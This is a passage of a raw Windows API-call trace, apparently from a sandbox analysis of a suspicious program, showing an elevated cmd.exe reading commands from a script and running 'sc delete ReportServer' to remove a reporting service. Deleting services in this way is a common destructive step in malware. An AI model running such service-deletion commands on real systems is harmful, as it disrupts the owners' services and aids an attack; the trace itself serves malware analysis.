[0071.127] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.127] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.127] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="r00\nService\n\n") returned 1 [0071.127] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.127] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.127] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.127] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="\n0\nService\n\n") returned 1 [0071.127] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.127] GetFileType (hFile=0xb8) returned 0x3 [0071.127] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.127] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.127] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.127] GetFileType (hFile=0x120) returned 0x3 [0071.127] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.127] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete ReportServer\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete ReportServer\n", lpUsedDefaultChar=0x0) returned 24 [0071.127] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x17, lpOverlapped=0x0) returned 1 [0071.127] GetProcessHeap () returned 0x4a0000 [0071.127] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0071.127] GetProcessHeap () returned 0x4a0000 [0071.128] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0071.128] GetProcessHeap () returned 0x4a0000 [0071.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0071.128] GetProcessHeap () returned 0x4a0000 [0071.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0071.128] GetProcessHeap () returned 0x4a0000 [0071.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x3a) returned 0x4baa40 [0071.128] GetConsoleOutputCP () returned 0x1b5 [0071.128] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0071.128] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.128] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.128] GetProcessHeap () returned 0x4a0000 [0071.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0071.128] GetProcessHeap () returned 0x4a0000 [0071.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4baa90 [0071.128] GetProcessHeap () returned 0x4a0000 [0071.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc530 [0071.129] SetErrorMode (uMode=0x0) returned 0x1 [0071.129] SetErrorMode (uMode=0x1) returned 0x0 [0071.129] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc540, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0071.129] SetErrorMode (uMode=0x1) returned 0x1 [0071.129] GetProcessHeap () returned 0x4a0000 [0071.129] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc530, Size=0x62) returned 0x4bc530 [0071.129] GetProcessHeap () returned 0x4a0000 [0071.129] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc530) returned 0x62 [0071.129] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0071.129] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0071.129] GetProcessHeap () returned 0x4a0000 [0071.129] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0071.129] GetProcessHeap () returned 0x4a0000 [0071.129] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0071.129] GetProcessHeap () returned 0x4a0000 [0071.129] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0071.129] GetProcessHeap () returned 0x4a0000 [0071.129] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0071.129] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0071.129] GetProcessHeap () returned 0x4a0000 [0071.129] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0071.129] GetProcessHeap () returned 0x4a0000 [0071.129] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0071.129] GetProcessHeap () returned 0x4a0000 [0071.129] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0071.129] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.129] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.130] GetLastError () returned 0x2 [0071.130] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.130] GetLastError () returned 0x2 [0071.130] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.130] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0071.130] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0071.130] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.130] GetLastError () returned 0x2 [0071.130] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0071.130] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0071.131] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0071.131] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0071.131] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.131] GetProcessHeap () returned 0x4a0000 [0071.131] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0071.131] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.131] GetProcessHeap () returned 0x4a0000 [0071.131] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xa6) returned 0x4b9180 [0071.131] GetProcessHeap () returned 0x4a0000 [0071.131] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xa6 [0071.131] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete ReportServer") returned 1 [0071.131] GetProcessHeap () returned 0x4a0000 [0071.131] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0071.131] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0071.132] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0071.132] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0071.132] GetProcessHeap () returned 0x4a0000 [0071.132] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0071.132] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0071.132] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0071.132] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0071.132] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0071.132] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.132] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.132] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.132] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0071.132] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0071.132] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0071.132] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0071.132] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0071.132] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0071.132] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0071.132] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0071.132] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0071.132] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0071.132] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0071.132] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.133] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.133] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.133] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.133] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.133] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.133] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.133] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.133] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0071.133] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0071.133] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0071.133] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0071.133] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0071.133] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0071.133] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0071.133] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0071.133] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0071.133] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0071.133] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0071.133] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0071.133] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0071.133] GetProcessHeap () returned 0x4a0000 [0071.133] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0071.133] GetProcessHeap () returned 0x4a0000 [0071.133] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0071.133] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete ReportServer", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete ReportServer", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete ReportServer", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0xb34, dwThreadId=0xabc)) returned 1 [0071.138] CloseHandle (hObject=0x54) returned 1 [0071.138] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0071.138] GetProcessHeap () returned 0x4a0000 [0071.138] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0071.138] GetEnvironmentStringsW () returned 0x4bba10* [0071.138] GetProcessHeap () returned 0x4a0000 [0071.138] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0071.138] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0071.138] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0071.138] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd3000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0071.138] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0071.334] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0071.334] CloseHandle (hObject=0x50) returned 1 [0071.334] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0071.334] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0071.334] GetProcessHeap () returned 0x4a0000 [0071.334] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0071.334] GetEnvironmentStringsW () returned 0x4c1b10* [0071.334] GetProcessHeap () returned 0x4a0000 [0071.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0071.334] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0071.334] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0071.334] GetProcessHeap () returned 0x4a0000 [0071.334] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0071.334] GetEnvironmentStringsW () returned 0x4bba10* [0071.334] GetProcessHeap () returned 0x4a0000 [0071.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0071.334] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0071.334] GetProcessHeap () returned 0x4a0000 [0071.335] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0071.335] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0071.335] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0071.335] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.335] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0071.335] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.336] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0071.336] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.336] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0071.336] GetConsoleOutputCP () returned 0x1b5 [0071.336] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0071.336] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.336] GetProcessHeap () returned 0x4a0000 [0071.336] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0071.336] GetProcessHeap () returned 0x4a0000 [0071.336] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0071.336] GetProcessHeap () returned 0x4a0000 [0071.336] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0071.337] GetProcessHeap () returned 0x4a0000 [0071.337] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc530 | out: hHeap=0x4a0000) returned 1 [0071.337] GetProcessHeap () returned 0x4a0000 [0071.337] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa90 | out: hHeap=0x4a0000) returned 1 [0071.337] GetProcessHeap () returned 0x4a0000 [0071.337] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0071.337] GetProcessHeap () returned 0x4a0000 [0071.337] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0071.337] GetProcessHeap () returned 0x4a0000 [0071.337] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0071.337] GetProcessHeap () returned 0x4a0000 [0071.337] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0071.337] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0071.337] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.337] GetFileType (hFile=0x120) returned 0x3 [0071.337] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.337] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0071.337] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0071.337] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0071.337] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0071.337] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0071.338] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0071.338] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.338] GetFileType (hFile=0x120) returned 0x3 [0071.338] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.338] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0071.338] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0071.338] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.338] GetFileType (hFile=0xb8) returned 0x3 [0071.338] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.338] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.338] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.338] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete ReportServer\n0\nService\n\n") returned 1 [0071.338] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.338] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.338] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.338] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete ReportServer\n0\nService\n\n") returned 1 [0071.338] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.338] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.339] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.339] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete ReportServer\n0\nService\n\n") returned 1 [0071.339] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.339] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.339] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.339] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete ReportServer\n0\nService\n\n") returned 1 [0071.339] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.339] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.339] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.339] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete ReportServer\n0\nService\n\n") returned 1 [0071.339] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.339] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.339] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, 